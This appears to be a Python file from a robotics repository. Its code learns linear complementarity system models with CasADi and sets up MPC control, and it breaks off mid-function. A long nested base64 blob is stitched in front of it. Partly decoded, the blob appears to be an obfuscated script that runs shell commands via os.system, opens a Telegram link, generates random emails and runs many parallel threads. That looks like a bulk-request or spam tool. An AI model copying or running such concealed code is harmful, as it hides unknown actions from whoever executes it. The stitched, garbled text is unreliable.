lo2U25sVmIyTnRSblZhUjJ4MVpFTm5kMHhFYTNCTFUwSnRZak5KWjJGVFFuQmlhVUo1V1ZjMWJscFRaM2RNUkdkd1dGTnJaMXB0T1hsSlIxVm5ZVmMwWjJOdFJuVmFNbFZ2WVcweGMwdFdNV1JEYVVGblkwaEtjR0p1VVc5SmFVbHBRMmxCWjFoRVFYcE5NWE40VDNwcmVtSlRRV2RKUTBGblNVTkJaMGxEUVdkSlExbG5TbWxCYlVsRFdXZEthVUZ0U1VOWlowcHBRVzFKUTFsblNtbEJiVU5wUVdkSmFVbHBTMUZ2WjBsSVpIQmtSMmRuV1RJNWRWa3pWbmxqYlZaMVpFTTFiV1JZVWpGamJWWjZUR3hTYjJOdFZtaGFSa0oyWWpKNFJtVkhWbXBrV0ZKMlkybG9kRmxZYUdaa01qbDVZVEpXZVdONk1IcE5RMnRuV1ZoTloyUkhaelpEYVVGblNVTkNOMlJIWjNWak0xWnBZbGRzTUV0SFNubGtXRkpzVEVOQ01XTXlWbmxYZVdReFl6SldlVW94TUhOSlNGWjZXbGhLWWtvelFqTktNVEJ3VDJsQ01XTXlWbmxKUjFwMlkybENNV015Vm5sSlIyeDFTVWRTYUdSSFJqbERhVUZuWTBoS2NHSnVVVzlLTVhoMVNVTkNSV0l5Tld4UGFXdHVTMUZ2UzFwSFZtMUpTRXBvWW0xU2RtSldPV3hpVjBad1lrTm5jRTluYjJkSlJ6bDZURzVPTldNelVteGlVMmR1V1RKNGJGbFlTVzVMVVc5blNVYzVla3h1VGpWak0xSnNZbE5uYm1SSE9YQmlSMVl3U1VNeGJVbEhTbkJhZVVKVldsZDRiRm96U21oaVUwRjBVbWxDYmxsWWEyZG1RMEp6WWpKNGFsbFlVVzVMVVc5blNVYzVla3h1VGpWak0xSnNZbE5uYm1WSFVtNU1WemwzV2xjMFoyRklVakJqU0UwMlRIazVNRXh0TVd4TU1WSlZXREZLV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Python

examples/trifinger/lcs/task_driven.py

wanxinjin/manipulation

3850c90b9be757163c4c87b47344d085bbb9307d

[ "BSD-3-Clause" ]

null

examples/trifinger/lcs/task_driven.py

wanxinjin/manipulation

3850c90b9be757163c4c87b47344d085bbb9307d

[ "BSD-3-Clause" ]

null

examples/trifinger/lcs/task_driven.py

wanxinjin/manipulation

3850c90b9be757163c4c87b47344d085bbb9307d

[ "BSD-3-Clause" ]

null

import numpy as np from casadi import * import numpy.linalg as la import matplotlib.pyplot as plt # class for learning LCS from the hybrid data class LCS_learner: def __init__(self, n_state, n_control, n_lam, A=None, B=None, C=None, D=None, E=None, G=None, H=None, lcp_offset=None, stiffness=0.): self.n_lam = n_lam self.n_state = n_state self.n_control = n_control self.lam = SX.sym('lam', self.n_lam) self.x = SX.sym('x', self.n_state) self.u = SX.sym('u', self.n_control) self.theta = [] if A is None: self.A = SX.sym('A', self.n_state, self.n_state) self.theta += [vec(self.A)] else: self.A = DM(A) if B is None: self.B = SX.sym('B', self.n_state, self.n_control) self.theta += [vec(self.B)] else: self.B = DM(B) if C is None: self.C = SX.sym('C', self.n_state, self.n_lam) self.theta += [vec(self.C)] else: self.C = DM(C) if D is None: self.D = SX.sym('D', self.n_lam, self.n_state) self.theta += [vec(self.D)] else: self.D = DM(D) if E is None: self.E = SX.sym('E', self.n_lam, self.n_control) self.theta += [vec(self.E)] else: self.E = DM(E) if G is None: self.G = SX.sym('G', self.n_lam, self.n_lam) self.theta += [vec(self.G)] else: self.G = DM(G) if H is None: self.H = SX.sym('H', self.n_lam, self.n_lam) self.theta += [vec(self.H)] else: self.H = DM(H) if lcp_offset is None: self.lcp_offset = SX.sym('lcp_offset', self.n_lam) self.theta += [vec(self.lcp_offset)] else: self.lcp_offset = DM(lcp_offset) self.theta = vcat(self.theta) self.n_theta = self.theta.numel() self.F = stiffness * np.eye(self.n_lam) + self.G @ self.G.T + self.H - self.H.T self.F_fn = Function('F_fn', [self.theta], [self.F]) self.D_fn = Function('D_fn', [self.theta], [self.D]) self.E_fn = Function('E_fn', [self.theta], [self.E]) self.G_fn = Function('G_fn', [self.theta], [self.G]) self.H_fn = Function('H_fn', [self.theta], [self.H]) self.A_fn = Function('A_fn', [self.theta], [self.A]) self.B_fn = Function('B_fn', [self.theta], [self.B]) self.C_fn = Function('C_fn', [self.theta], [self.C]) self.lcp_offset_fn = Function('lcp_offset_fn', [self.theta], [self.lcp_offset]) # self.dyn_offset_fn = Function('dyn_offset_fn', [self.theta], [self.dyn_offset]) # initialize the parameter self.val_theta = 0.1 * np.random.randn(self.n_theta) def differetiable(self, gamma=1e-3, epsilon=0.5): # define the dynamics loss self.x_next = SX.sym('x_next', self.n_state) data = vertcat(self.x, self.u, self.x_next) # self.dyn = self.A @ self.x + self.B @ self.u + self.C @ self.lam + self.dyn_offset self.dyn = self.A @ self.x + self.B @ self.u + self.C @ self.lam dyn_loss = dot(self.dyn - self.x_next, self.dyn - self.x_next) # lcp loss self.dist = self.D @ self.x + self.E @ self.u + self.F @ self.lam + self.lcp_offset self.phi = SX.sym('phi', self.n_lam) lcp_loss = dot(self.lam, self.phi) + 1 / gamma * dot(self.phi - self.dist, self.phi - self.dist) # total loss # loss = (1 - epsilon) * dyn_loss + epsilon * lcp_loss loss = dyn_loss + lcp_loss / epsilon # loss = dot(self.dyn[2:4] - self.x_next[2:4], self.dyn[2:4] - self.x_next[2:4]) + lcp_loss / epsilon # loss = (dyn_loss + lcp_loss / epsilon) / (0.5+dot(self.x_next, self.x_next)) # establish the qp solver lam_phi = vertcat(self.lam, self.phi) data_theta = vertcat(self.x, self.u, self.x_next, self.theta) quadprog = {'x': vertcat(self.lam, self.phi), 'f': loss, 'p': data_theta} opts = {'printLevel': 'none', } self.inner_QPSolver = qpsol('inner_QPSolver', 'qpoases', quadprog, opts) # compute the jacobian from lam to theta self.loss_fn = Function('loss_fn', [data, self.theta, lam_phi], [loss]) self.dloss_fn = Function('dloss_fn', [data, self.theta, lam_phi], [jacobian(loss, self.theta).T]) self.dyn_loss_fn = Function('dyn_loss_fn', [data, self.theta, lam_phi], [dyn_loss]) self.lcp_loss_fn = Function('lcp_loss_fn', [data, self.theta, lam_phi], [lcp_loss]) # compute the second order derivative grad_loss = jacobian(loss, lam_phi).T L = diag(lam_phi) @ grad_loss self.L_fn = Function('L_fn', [data, self.theta, lam_phi], [L]) # this is just for testing # compute the gradient of lam_phi_opt with respect to theta dL_dsol = jacobian(L, lam_phi) dL_dtheta = jacobian(L, self.theta) dsol_dtheta = -inv(dL_dsol) @ dL_dtheta self.dsol_dtheta_fn = Function('dsol_dtheta_fn', [data, self.theta, lam_phi], [dsol_dtheta]) # this is just for testing dloss2 = jacobian(loss, self.theta) + jacobian(loss, lam_phi) @ dsol_dtheta self.dloss2_fn = Function('dloss2_fn', [data, self.theta, lam_phi], [dloss2.T]) # compute the second order derivative dloss_dtheta = jacobian(loss, self.theta).T ddloss = jacobian(dloss_dtheta, self.theta) + jacobian(dloss_dtheta, lam_phi) @ dsol_dtheta self.ddloss_fn = Function('ddloss_fn', [data, self.theta, lam_phi], [ddloss]) def compute_lambda(self, x_batch, u_batch, x_next_batch): # prepare the data batch_size = x_batch.shape[0] data_batch = np.hstack((x_batch, u_batch, x_next_batch)) theta_val_batch = np.tile(self.val_theta, (batch_size, 1)) data_theta_batch = np.hstack((data_batch, theta_val_batch)) # compute the lam_phi solution sol_batch = self.inner_QPSolver(lbx=0.0, p=data_theta_batch.T) loss_opt_batch = sol_batch['f'].full().flatten() lam_phi_opt_batch = sol_batch['x'].full().T return lam_phi_opt_batch, loss_opt_batch def gradient_step(self, x_batch, u_batch, x_next_batch, lam_phi_opt_batch, second_order=False): batch_size = x_batch.shape[0] data_batch = np.hstack((x_batch, u_batch, x_next_batch)) theta_val_batch = np.tile(self.val_theta, (batch_size, 1)) # compute the gradient value dtheta_batch = self.dloss_fn(data_batch.T, theta_val_batch.T, lam_phi_opt_batch.T) dtheta_mean = dtheta_batch.full().mean(axis=1) # compute the losses loss_batch = self.loss_fn(data_batch.T, theta_val_batch.T, lam_phi_opt_batch.T) dyn_loss_batch = self.dyn_loss_fn(data_batch.T, theta_val_batch.T, lam_phi_opt_batch.T) lcp_loss_batch = self.lcp_loss_fn(data_batch.T, theta_val_batch.T, lam_phi_opt_batch.T) loss_mean = loss_batch.full().mean() dyn_loss_mean = dyn_loss_batch.full().mean() lcp_loss_mean = lcp_loss_batch.full().mean() dtheta_hessian = dtheta_mean if second_order is True: hessian_batch = self.ddloss_fn(data_batch.T, theta_val_batch.T, lam_phi_opt_batch.T) # compute the mean hessian hessian_sum = 0 for i in range(batch_size): hessian_i = hessian_batch[:, i * self.n_theta:(i + 1) * self.n_theta] hessian_sum += hessian_i hessian_mean = hessian_sum / batch_size damping_factor = 1 u, s, vh = np.linalg.svd(hessian_mean) s = s + damping_factor damped_hessian = u @ np.diag(s) @ vh dtheta_hessian = (inv(damped_hessian) @ DM(dtheta_mean)).full().flatten() return dtheta_mean, loss_mean, dyn_loss_mean, lcp_loss_mean, dtheta_hessian def dyn_prediction(self, x_batch, u_batch): self.differetiable() batch_size = x_batch.shape[0] theta_val_batch = np.tile(self.val_theta, (batch_size, 1)) xu_theta_batch = np.hstack((x_batch, u_batch, theta_val_batch)) # establish the lcp solver lcp_loss = dot(self.dist, self.lam) xu_theta = vertcat(self.x, self.u, self.theta) quadprog = {'x': self.lam, 'f': lcp_loss, 'g': self.dist, 'p': xu_theta} opts = {'printLevel': 'none'} lcp_Solver = qpsol('lcp_solver', 'qpoases', quadprog, opts) self.lcp_fn = Function('dist_fn', [self.x, self.u, self.lam, self.theta], [self.dist, dot(self.dist, self.lam)]) self.lcp_dist_fn = Function('dist_fn', [self.x, self.u, self.lam, self.theta], [self.dist]) # establish the dynamics equation dyn_fn = Function('dyn_fn', [self.x, self.u, self.lam, self.theta], [self.dyn]) # compute the lam_batch sol_batch = lcp_Solver(lbx=0., lbg=0., p=xu_theta_batch.T) lam_opt_batch = sol_batch['x'].full().T # compute the next state batch x_next_batch = dyn_fn(x_batch.T, u_batch.T, lam_opt_batch.T, theta_val_batch.T).full().T return x_next_batch, lam_opt_batch # class for learning LCS from the hybrid data class LCS_learner_backup: def __init__(self, n_state, n_control, n_lam, A=None, B=None, C=None, D=None, E=None, G=None, H=None, lcp_offset=None, stiffness=0.): self.n_lam = n_lam self.n_state = n_state self.n_control = n_control self.lam = SX.sym('lam', self.n_lam) self.x = SX.sym('x', self.n_state) self.u = SX.sym('u', self.n_control) self.theta = [] if A is None: self.A = SX.sym('A', self.n_state, self.n_state) self.theta += [vec(self.A)] else: self.A = DM(A) if B is None: self.B = SX.sym('B', self.n_state, self.n_control) self.theta += [vec(self.B)] else: self.B = DM(B) if C is None: self.C = SX.sym('C', self.n_state, self.n_lam) self.theta += [vec(self.C)] else: self.C = DM(C) if D is None: self.D = SX.sym('D', self.n_lam, self.n_state) self.theta += [vec(self.D)] else: self.D = DM(D) if E is None: self.E = SX.sym('E', self.n_lam, self.n_control) self.theta += [vec(self.E)] else: self.E = DM(E) if G is None: self.G = SX.sym('G', self.n_lam, self.n_lam) self.theta += [vec(self.G)] else: self.G = DM(G) if H is None: self.H = SX.sym('H', self.n_lam, self.n_lam) self.theta += [vec(self.H)] else: self.H = DM(H) if lcp_offset is None: self.lcp_offset = SX.sym('lcp_offset', self.n_lam) self.theta += [vec(self.lcp_offset)] else: self.lcp_offset = DM(lcp_offset) self.theta = vcat(self.theta) self.n_theta = self.theta.numel() self.F = stiffness * np.eye(self.n_lam) + self.G @ self.G.T + self.H - self.H.T self.F_fn = Function('F_fn', [self.theta], [self.F]) self.D_fn = Function('D_fn', [self.theta], [self.D]) self.E_fn = Function('E_fn', [self.theta], [self.E]) self.G_fn = Function('G_fn', [self.theta], [self.G]) self.H_fn = Function('H_fn', [self.theta], [self.H]) self.A_fn = Function('A_fn', [self.theta], [self.A]) self.B_fn = Function('B_fn', [self.theta], [self.B]) self.C_fn = Function('C_fn', [self.theta], [self.C]) self.lcp_offset_fn = Function('lcp_offset_fn', [self.theta], [self.lcp_offset]) # self.dyn_offset_fn = Function('dyn_offset_fn', [self.theta], [self.dyn_offset]) def differetiable(self, gamma=1e-3, epsilon=0.5): # define the dynamics loss self.x_next = SX.sym('x_next', self.n_state) data = vertcat(self.x, self.u, self.x_next) # self.dyn = self.A @ self.x + self.B @ self.u + self.C @ self.lam + self.dyn_offset self.dyn = self.A @ self.x + self.B @ self.u + self.C @ self.lam dyn_loss = dot(self.dyn - self.x_next, self.dyn - self.x_next) # lcp loss self.dist = self.D @ self.x + self.E @ self.u + self.F @ self.lam + self.lcp_offset self.phi = SX.sym('phi', self.n_lam) lcp_loss = dot(self.lam, self.phi) + 1 / gamma * dot(self.phi - self.dist, self.phi - self.dist) # total loss # loss = (1 - epsilon) * dyn_loss + epsilon * lcp_loss dyn_loss + lcp_loss / epsilon loss = dot(self.dyn[2:4] - self.x_next[2:4], self.dyn[2:4] - self.x_next[2:4]) + lcp_loss / epsilon # loss = (dyn_loss + lcp_loss / epsilon) / (0.5+dot(self.x_next, self.x_next)) # establish the qp solver lam_phi = vertcat(self.lam, self.phi) data_theta = vertcat(self.x, self.u, self.x_next, self.theta) quadprog = {'x': vertcat(self.lam, self.phi), 'f': loss, 'p': data_theta} opts = {'printLevel': 'none', } self.inner_QPSolver = qpsol('inner_QPSolver', 'qpoases', quadprog, opts) # compute the jacobian from lam to theta self.loss_fn = Function('loss_fn', [data, self.theta, lam_phi], [loss]) self.dloss_fn = Function('dloss_fn', [data, self.theta, lam_phi], [jacobian(loss, self.theta).T]) self.dyn_loss_fn = Function('dyn_loss_fn', [data, self.theta, lam_phi], [dyn_loss]) self.lcp_loss_fn = Function('lcp_loss_fn', [data, self.theta, lam_phi], [lcp_loss]) # compute the second order derivative grad_loss = jacobian(loss, lam_phi).T L = diag(lam_phi) @ grad_loss self.L_fn = Function('L_fn', [data, self.theta, lam_phi], [L]) # this is just for testing # compute the gradient of lam_phi_opt with respect to theta dL_dsol = jacobian(L, lam_phi) dL_dtheta = jacobian(L, self.theta) dsol_dtheta = -inv(dL_dsol) @ dL_dtheta self.dsol_dtheta_fn = Function('dsol_dtheta_fn', [data, self.theta, lam_phi], [dsol_dtheta]) # this is just for testing dloss2 = jacobian(loss, self.theta) + jacobian(loss, lam_phi) @ dsol_dtheta self.dloss2_fn = Function('dloss2_fn', [data, self.theta, lam_phi], [dloss2.T]) # compute the second order derivative dloss_dtheta = jacobian(loss, self.theta).T ddloss = jacobian(dloss_dtheta, self.theta) + jacobian(dloss_dtheta, lam_phi) @ dsol_dtheta self.ddloss_fn = Function('ddloss_fn', [data, self.theta, lam_phi], [ddloss]) def compute_lambda(self, x_batch, u_batch, x_next_batch, theta_val): # prepare the data batch_size = x_batch.shape[0] data_batch = np.hstack((x_batch, u_batch, x_next_batch)) theta_val_batch = np.tile(theta_val, (batch_size, 1)) data_theta_batch = np.hstack((data_batch, theta_val_batch)) # compute the lam_phi solution sol_batch = self.inner_QPSolver(lbx=0.0, p=data_theta_batch.T) loss_opt_batch = sol_batch['f'].full().flatten() lam_phi_opt_batch = sol_batch['x'].full().T return lam_phi_opt_batch, loss_opt_batch def gradient_step(self, x_batch, u_batch, x_next_batch, theta_val, lam_phi_opt_batch, second_order=False): batch_size = x_batch.shape[0] data_batch = np.hstack((x_batch, u_batch, x_next_batch)) theta_val_batch = np.tile(theta_val, (batch_size, 1)) # compute the gradient value dtheta_batch = self.dloss_fn(data_batch.T, theta_val_batch.T, lam_phi_opt_batch.T) dtheta_mean = dtheta_batch.full().mean(axis=1) # compute the losses loss_batch = self.loss_fn(data_batch.T, theta_val_batch.T, lam_phi_opt_batch.T) dyn_loss_batch = self.dyn_loss_fn(data_batch.T, theta_val_batch.T, lam_phi_opt_batch.T) lcp_loss_batch = self.lcp_loss_fn(data_batch.T, theta_val_batch.T, lam_phi_opt_batch.T) loss_mean = loss_batch.full().mean() dyn_loss_mean = dyn_loss_batch.full().mean() lcp_loss_mean = lcp_loss_batch.full().mean() dtheta_hessian = dtheta_mean if second_order is True: hessian_batch = self.ddloss_fn(data_batch.T, theta_val_batch.T, lam_phi_opt_batch.T) # compute the mean hessian hessian_sum = 0 for i in range(batch_size): hessian_i = hessian_batch[:, i * self.n_theta:(i + 1) * self.n_theta] hessian_sum += hessian_i hessian_mean = hessian_sum / batch_size damping_factor = 1 u, s, vh = np.linalg.svd(hessian_mean) s = s + damping_factor damped_hessian = u @ np.diag(s) @ vh dtheta_hessian = (inv(damped_hessian) @ DM(dtheta_mean)).full().flatten() return dtheta_mean, loss_mean, dyn_loss_mean, lcp_loss_mean, dtheta_hessian def dyn_prediction(self, x_batch, u_batch, theta_val): self.differetiable() batch_size = x_batch.shape[0] theta_val_batch = np.tile(theta_val, (batch_size, 1)) xu_theta_batch = np.hstack((x_batch, u_batch, theta_val_batch)) # establish the lcp solver lcp_loss = dot(self.dist, self.lam) xu_theta = vertcat(self.x, self.u, self.theta) quadprog = {'x': self.lam, 'f': lcp_loss, 'g': self.dist, 'p': xu_theta} opts = {'printLevel': 'none'} lcp_Solver = qpsol('lcp_solver', 'qpoases', quadprog, opts) self.lcp_fn = Function('dist_fn', [self.x, self.u, self.lam, self.theta], [self.dist, dot(self.dist, self.lam)]) self.lcp_dist_fn = Function('dist_fn', [self.x, self.u, self.lam, self.theta], [self.dist]) # establish the dynamics equation dyn_fn = Function('dyn_fn', [self.x, self.u, self.lam, self.theta], [self.dyn]) # compute the lam_batch sol_batch = lcp_Solver(lbx=0., lbg=0., p=xu_theta_batch.T) lam_opt_batch = sol_batch['x'].full().T # compute the next state batch x_next_batch = dyn_fn(x_batch.T, u_batch.T, lam_opt_batch.T, theta_val_batch.T).full().T return x_next_batch, lam_opt_batch # class for using a lcs to do mpc control class LCS_MPC: def __init__(self, A, B, C, D, E, F, lcp_offset): self.A = DM(A) self.B = DM(B) self.C = DM(C) self.D = DM(D) self.E = DM(E) self.F = DM(F) self.lcp_offset = DM(lcp_offset) self.n_state = self.A.shape[0] self.n_control = self.B.shape[1] self.n_lam = self.C.shape[1] # define the system variable x = casadi.MX.sym('x', self.n_state) u = casadi.MX.sym('u', self.n_control) xu_pair = vertcat(x, u) lam = casadi.MX.sym('lam', self.n_lam) # dynamics dyn = self.A @ x + self.B @ u + self.C @ lam self.dyn_fn = Function('dyn_fn', [xu_pair, lam], [dyn]) # loss function lcp_loss = dot(self.D @ x + self.E @ u + self.F @ lam + self.lcp_offset, lam) # constraints dis_cstr = self.D @ x + self.E @ u + self.F @ lam + self.lcp_offset lam_cstr = lam total_cstr = vertcat(dis_cstr, lam_cstr) self.dis_cstr_fn = Function('dis_cstr_fn', [lam, xu_pair], [dis_cstr]) # establish the qp solver to solve for LCP quadprog = {'x': lam, 'f': lcp_loss, 'g': total_cstr, 'p': xu_pair} opts = {'printLevel': 'none', } self.lcpSolver = qpsol('S', 'qpoases', quadprog, opts) def forward(self, x_t, u_t): xu_pair = vertcat(DM(x_t), DM(u_t)) sol = self.lcpSolver(p=xu_pair, lbg=0.) lam_t = sol['x'].full().flatten() x_next = self.dyn_fn(xu_pair, lam_t).full().flatten() return x_next, lam_t def oc_setup(self, mpc_horizon): self.mpc_horizon = mpc_horizon # set the cost function parameters Q = MX.sym('Q', self.n_state, self.n_state) R = MX.sym('R', self.n_control, self.n_control) QN = MX.sym('QN', self.n_state, self.n_state) # define the parameters oc_parameters = vertcat(vec(Q), vec(R), vec(QN)) # Start with an empty NLP w = [] w0 = [] lbw = [] ubw = [] J = 0 g = [] lbg = [] ubg = [] # "Lift" initial conditions Xk = casadi.MX.sym('X0', self.n_state) w += [Xk] lbw += np.zeros(self.n_state).tolist() ubw += np.zeros(self.n_state).tolist() w0 += np.zeros(self.n_state).tolist() # formulate the NLP for k in range(self.mpc_horizon): # New NLP variable for the control Uk = casadi.MX.sym('U_' + str(k), self.n_control) w += [Uk] lbw += self.n_control * [-inf] ubw += self.n_control * [inf] w0 += self.n_control * [0.] # new NLP variable for the complementarity variable Lamk = casadi.MX.sym('lam' + str(k), self.n_lam) w += [Lamk] lbw += self.n_lam * [0.] ubw += self.n_lam * [inf] w0 += self.n_lam * [0.] # Add complementarity equation g += [self.D @ Xk + self.E @ Uk + self.F @ Lamk + self.lcp_offset] lbg += self.n_lam * [0.] ubg += self.n_lam * [inf] g += [casadi.dot(self.D @ Xk + self.E @ Uk + self.F @ Lamk + self.lcp_offset, Lamk)] lbg += [0.] ubg += [0.] # Integrate till the end of the interval Xnext = self.A @ Xk + self.B @ Uk + self.C @ Lamk Ck = dot(Xk, Q @ Xk) + dot(Uk, R @ Uk) J = J + Ck # New NLP variable for state at end of interval Xk = casadi.MX.sym('X_' + str(k + 1), self.n_state) w += [Xk] lbw += self.n_state * [-inf] ubw += self.n_state * [inf] w0 += self.n_state * [0.] # Add constraint for the dynamics g += [Xnext - Xk] lbg += self.n_state * [0.] ubg += self.n_state * [0.] # Add the final cost J = J + dot(Xk, QN @ Xk) # Create an NLP solver and solve opts = {'ipopt.print_level': 0, 'ipopt.sb': 'yes', 'print_time': 0} prob = {'f': J, 'x': casadi.vertcat(*w), 'g': casadi.vertcat(*g), 'p': oc_parameters} self.solver = casadi.nlpsol('solver', 'ipopt', prob, opts) self.lbw = DM(lbw) self.ubw = DM(ubw) self.lbg = DM(lbg) self.ubg = DM(ubg) self.w0 = DM(w0) def mpc(self, init_state, mat_Q, mat_R, mat_QN, init_guess=None): if init_guess is not None: self.w0 = init_guess['w_opt'] # construct the parameter vector oc_parameters = vertcat(vec(mat_Q), vec(mat_R), vec(mat_QN)) self.lbw[0:self.n_state] = DM(init_state) self.ubw[0:self.n_state] = DM(init_state) self.w0[0:self.n_state] = DM(init_state) # Solve the NLP sol = self.solver(x0=self.w0, lbx=self.lbw, ubx=self.ubw, lbg=self.lbg, ubg=self.ubg, p=oc_parameters) w_opt = sol['x'] cost_opt = sol['f'] # extract the optimal control and state sol_traj = w_opt[0:self.mpc_horizon * (self.n_state + self.n_control + self.n_lam)].reshape( (self.n_state + self.n_control + self.n_lam, -1)) x_traj = casadi.horzcat(sol_traj[0:self.n_state, :], w_opt[self.mpc_horizon * (self.n_state + self.n_control + self.n_lam):]).T u_traj = sol_traj[self.n_state:self.n_state + self.n_control, :].T lam_traj = sol_traj[self.n_state + self.n_control:, :].T opt_sol = {'state_traj_opt': x_traj.full(), 'control_traj_opt': u_traj.full(), 'lam_traj_opt': lam_traj.full(), 'w_opt': w_opt, 'cost_opt': cost_opt, } return opt_sol # class for learning LCS from the hybrid data class LCS_learner_regression: def __init__(self, n_state, n_control, n_lam, A=None, B=None, C=None, D=None, E=None, G=None, H=None, lcp_offset=None, stiffness=0.): self.n_lam = n_lam self.n_state = n_state self.n_control = n_control self.lam = SX.sym('lam', self.n_lam) self.x = SX.sym('x', self.n_state) self.u = SX.sym('u', self.n_control) self.theta = [] self.lcp_theta = [] self.dyn_theta = [] if A is None: self.A = SX.sym('A', self.n_state, self.n_state) self.theta += [vec(self.A)] self.dyn_theta += [vec(self.A)] else: self.A = DM(A) if B is None: self.B = SX.sym('B', self.n_state, self.n_control) self.theta += [vec(self.B)] self.dyn_theta += [vec(self.B)] else: self.B = DM(B) if C is None: self.C = SX.sym('C', self.n_state, self.n_lam) self.theta += [vec(self.C)] self.dyn_theta += [vec(self.C)] else: self.C = DM(C) if D is None: self.D = SX.sym('D', self.n_lam, self.n_state) self.theta += [vec(self.D)] self.lcp_theta += [vec(self.D)] else: self.D = DM(D) if E is None: self.E = SX.sym('E', self.n_lam, self.n_control) self.theta += [vec(self.E)] self.lcp_theta += [vec(self.E)] else: self.E = DM(E) if G is None: self.G = SX.sym('G', self.n_lam, self.n_lam) self.theta += [vec(self.G)] self.lcp_theta += [vec(self.G)] else: self.G = DM(G) if H is None: self.H = SX.sym('H', self.n_lam, self.n_lam) self.theta += [vec(self.H)] self.lcp_theta += [vec(self.H)] else: self.H = DM(H) if lcp_offset is None: self.lcp_offset = SX.sym('lcp_offset', self.n_lam) self.theta += [vec(self.lcp_offset)] self.lcp_theta += [vec(self.lcp_offset)] else: self.lcp_offset = DM(lcp_offset) self.theta = vcat(self.theta) self.lcp_theta = vcat(self.lcp_theta) self.dyn_theta = vcat(self.dyn_theta) self.n_theta = self.theta.numel() self.n_lcp_theta = self.lcp_theta.numel() self.n_dyn_theta = self.dyn_theta.numel() self.F = stiffness * np.eye(self.n_lam) + self.G @ self.G.T + self.H - self.H.T self.F_fn = Function('F_fn', [self.lcp_theta], [self.F]) self.D_fn = Function('D_fn', [self.lcp_theta], [self.D]) self.E_fn = Function('E_fn', [self.lcp_theta], [self.E]) self.G_fn = Function('G_fn', [self.lcp_theta], [self.G]) self.H_fn = Function('H_fn', [self.lcp_theta], [self.H]) self.A_fn = Function('A_fn', [self.dyn_theta], [self.A]) self.B_fn = Function('B_fn', [self.dyn_theta], [self.B]) self.C_fn = Function('C_fn', [self.dyn_theta], [self.C]) self.lcp_offset_fn = Function('lcp_offset_fn', [self.lcp_theta], [self.lcp_offset]) self.val_lcp_theta = 0.1 * np.random.randn(self.n_lcp_theta) self.val_dyn_theta = 0.1 * np.random.randn(self.n_dyn_theta) def differetiable(self): # lcp loss self.dist = self.D @ self.x + self.E @ self.u + self.F @ self.lam + self.lcp_offset lcp_data_theta = vertcat(self.x, self.u, self.lcp_theta) self.lcp_loss = dot(self.dist, self.lam) quadprog = {'x': self.lam, 'f': self.lcp_loss, 'g': self.dist, 'p': lcp_data_theta} opts = {'printLevel': 'none', } self.lcp_Solver = qpsol('lcp_Solver', 'qpoases', quadprog, opts) # define the dynamics loss self.x_next = SX.sym('x_next', self.n_state) data = vertcat(self.x, self.u, self.x_next) self.dyn = self.A @ self.x + self.B @ self.u + self.C @ self.lam self.dyn_loss = dot(self.dyn - self.x_next, self.dyn - self.x_next) self.dyn_fn = Function('dyn_fn', [self.x, self.u, self.lam, self.dyn_theta], [self.dyn]) # define the dynamics loss with respect to the lam variable self.dloss_dlam = jacobian(self.dyn_loss, self.lam) # define the gradient of lam with respect to lcp_theta g = diag(self.lam) @ self.dist dg_dlam = jacobian(g, self.lam) dg_dlcp = jacobian(g, self.lcp_theta) self.dlam_dlcp = -inv(dg_dlam) @ dg_dlcp self.dloss_dlcp = (self.dloss_dlam @ self.dlam_dlcp).T # assemble functions data = vertcat(self.x, self.u, self.x_next) self.dloss_dlcp_fn = Function('dloss_dlcp_fn', [data, self.lam, self.dyn_theta, self.lcp_theta], [self.dloss_dlcp]) def compute_lambda(self, x_batch, u_batch): self.differetiable() # prepare the data batch_size = x_batch.shape[0] lcp_data_batch = np.hstack((x_batch, u_batch)) lcp_theta_batch = np.tile(self.val_lcp_theta, (batch_size, 1)) lcp_data_theta_batch = np.hstack((lcp_data_batch, lcp_theta_batch)) # compute the lam solution sol_batch = self.lcp_Solver(lbx=0.0, lbg=0.0, p=lcp_data_theta_batch.T) lcp_loss_opt_batch = sol_batch['f'].full().flatten() lam_opt_batch = sol_batch['x'].full().T return lam_opt_batch, lcp_loss_opt_batch def dyn_regression(self, x_batch, u_batch, lam_opt_batch, x_next_batch): # prepare the data batch_size = x_batch.shape[0] I = np.eye(self.n_state) kron_x = np.kron(x_batch, I) kron_u = np.kron(u_batch, I) kron_lam_opt = np.kron(lam_opt_batch, I) kron_x_next = x_next_batch.flatten() mat_A = np.hstack((kron_x, kron_u, kron_lam_opt)) vec_b = kron_x_next # do the regression for dyn_theta dyn_theta_opt = inv(mat_A.T @ mat_A) @ (mat_A.T @ vec_b) dyn_loss_opt = dot(mat_A @ dyn_theta_opt - vec_b, mat_A @ dyn_theta_opt - vec_b) / batch_size self.val_dyn_theta = dyn_theta_opt.full().flatten() return dyn_loss_opt def gradient_step(self, x_batch, u_batch, x_next_batch, lam_opt_batch): batch_size = x_batch.shape[0] data_batch = np.hstack((x_batch, u_batch, x_next_batch)) dyn_theta_opt_batch = np.tile(self.val_dyn_theta, (batch_size, 1)) lcp_theta_batch = np.tile(self.val_lcp_theta, (batch_size, 1)) # compute the gradient value dlcp = self.dloss_dlcp_fn(data_batch.T, lam_opt_batch.T, dyn_theta_opt_batch.T, lcp_theta_batch.T) dlcp_mean = dlcp.full().mean(axis=1) return dlcp_mean.flatten() def dyn_prediction(self, x_batch, u_batch): self.differetiable() # prepare the data batch_size = x_batch.shape[0] lcp_data_batch = np.hstack((x_batch, u_batch)) lcp_theta_batch = np.tile(self.val_lcp_theta, (batch_size, 1)) lcp_data_theta_batch = np.hstack((lcp_data_batch, lcp_theta_batch)) # compute the lam solution sol_batch = self.lcp_Solver(lbx=0.0, lbg=0.0, p=lcp_data_theta_batch.T) lam_opt_batch = sol_batch['x'].full().T # compute the next state batch dyn_theta_op_batch = np.tile(self.val_dyn_theta, (batch_size, 1)) x_next_batch = self.dyn_fn(x_batch.T, u_batch.T, lam_opt_batch.T, dyn_theta_op_batch.T).full().T return x_next_batch, lam_opt_batch def sim_dyn(self, init_x_batch, control_traj_batch): self.differetiable() batch_size = init_x_batch.shape[0] state_traj_batch = [] lam_traj_batch = [] for i in range(batch_size): init_x = init_x_batch[i] control_traj = control_traj_batch[i] state_traj = [init_x] lam_traj = [] control_horizon = control_traj.shape[0] for t in range(control_horizon): curr_x = state_traj[-1] curr_u = control_traj[t] curr_lcp_data_theta = np.hstack((curr_x, curr_u, self.val_lcp_theta)) curr_sol = self.lcp_Solver(lbx=0.0, lbg=0.0, p=curr_lcp_data_theta) curr_lam = curr_sol['x'].full().flatten() next_x = self.dyn_fn(curr_x, curr_u, curr_lam, self.val_dyn_theta).full().flatten() state_traj += [next_x] lam_traj += [curr_lam] state_traj = np.array(state_traj) lam_traj = np.array(lam_traj) state_traj_batch += [state_traj] 